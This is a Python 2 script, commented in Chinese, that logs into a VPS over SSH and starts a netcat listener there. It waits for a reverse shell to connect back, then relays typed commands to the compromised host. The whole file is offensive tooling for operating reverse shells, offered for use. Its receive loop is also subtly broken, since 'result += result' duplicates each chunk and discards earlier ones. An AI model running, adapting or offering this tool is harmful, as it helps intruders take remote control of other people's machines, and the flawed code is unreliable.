#!/usr/local/env python2
#-*- coding: utf-8 -*-

import paramiko
import sys
import time
 
ENDSYMBOL = ['# ', '$ ', '> ', '  ']

class SSH_CONNECT():
    def __init__(self, host, username, password, listen_port):
        self.host = host
        self.username = username
        self.password = password
        self.listen_port = listen_port
        self.port = 22

    def conn(self):
        '''
            连接远程服务器，获取远程服务器的交互shell
        '''
        try:
            # 创建ssh连接对象
            client = paramiko.SSHClient()
            # 自动选择yes
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
            # 连接服务器
            client.connect(self.host, self.port, self.username, self.password)
            # 创建交互式shell窗口
            channel = client.invoke_shell()
            channel.settimeout(1000)

            # 进入等待接收完整数据
            time.sleep(1)
            # 获取登录信息
            loginInfo = channel.recv(65535).decode('utf-8')
            # print(loginInfo),
            
        except Exception as e:
            print(e)
            exit('vps服务器连接异常')

        return channel

    # 定义用户输入
    def user_input(self):
        '''
            定义接收用户输入
        '''
        cmd = raw_input()
        if cmd == 'quit' or  cmd == 'exit':
            print('Bye Bye!')
            exit(0)
        return cmd

    # 定义反连时的进度条加载
    def progress_bar(self):
        for i in range(0, 100):
            time.sleep(0.6)
            step = int(100 / 100 * ( i + 1))
            str1 = '\r[-] INFO : [ %3d%% ] %s' % (step, '>' * (step / 2))
            sys.stdout.write(str1)
            sys.stdout.flush()
        print('\n'),
           
    def execCmd(self):
        # 获取远端服务器shell
        conn = self.conn()
        # 发送服务端nc监听命令
        conn.send('nc -lvvp {}'.format(self.listen_port) + '\n')
        # print(conn.recv(65535).decode('utf-8'))

        print('[+] INFO : Reverse shell is trying to connect, Please wait a few seconds!')
        # 进度条加载
        self.progress_bar()

        # 判断shell是否反弹成功
        recvData =  conn.recv(65535).decode('utf-8')
        # print(recvData)    
        if 'Connection from' in recvData:
            print('[+] INFO : Reverse Shell Successful! Please Input Entry.')
        else:
            print('[-] INFO : Reverse Shell Failed! Please Try Again.')
            exit()
    
        while True:
            cmd = self.user_input()
            conn.send(cmd + '\n')
            result = ''
            while True:
                result = conn.recv(65535).decode('utf-8')
                result += result
                if result[-2:] in ENDSYMBOL:
                    break
            # print(result)
            re = result.split('\n')[1:]
            # print(re)
            print('\n'.join(re)),  


if __name__ == "__main__":
    ssh_host = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    listen_port = sys.argv[4]
    remote_shell = SSH_CONNECT(ssh_host, username, password, listen_port)
    remote_shell.execCmd()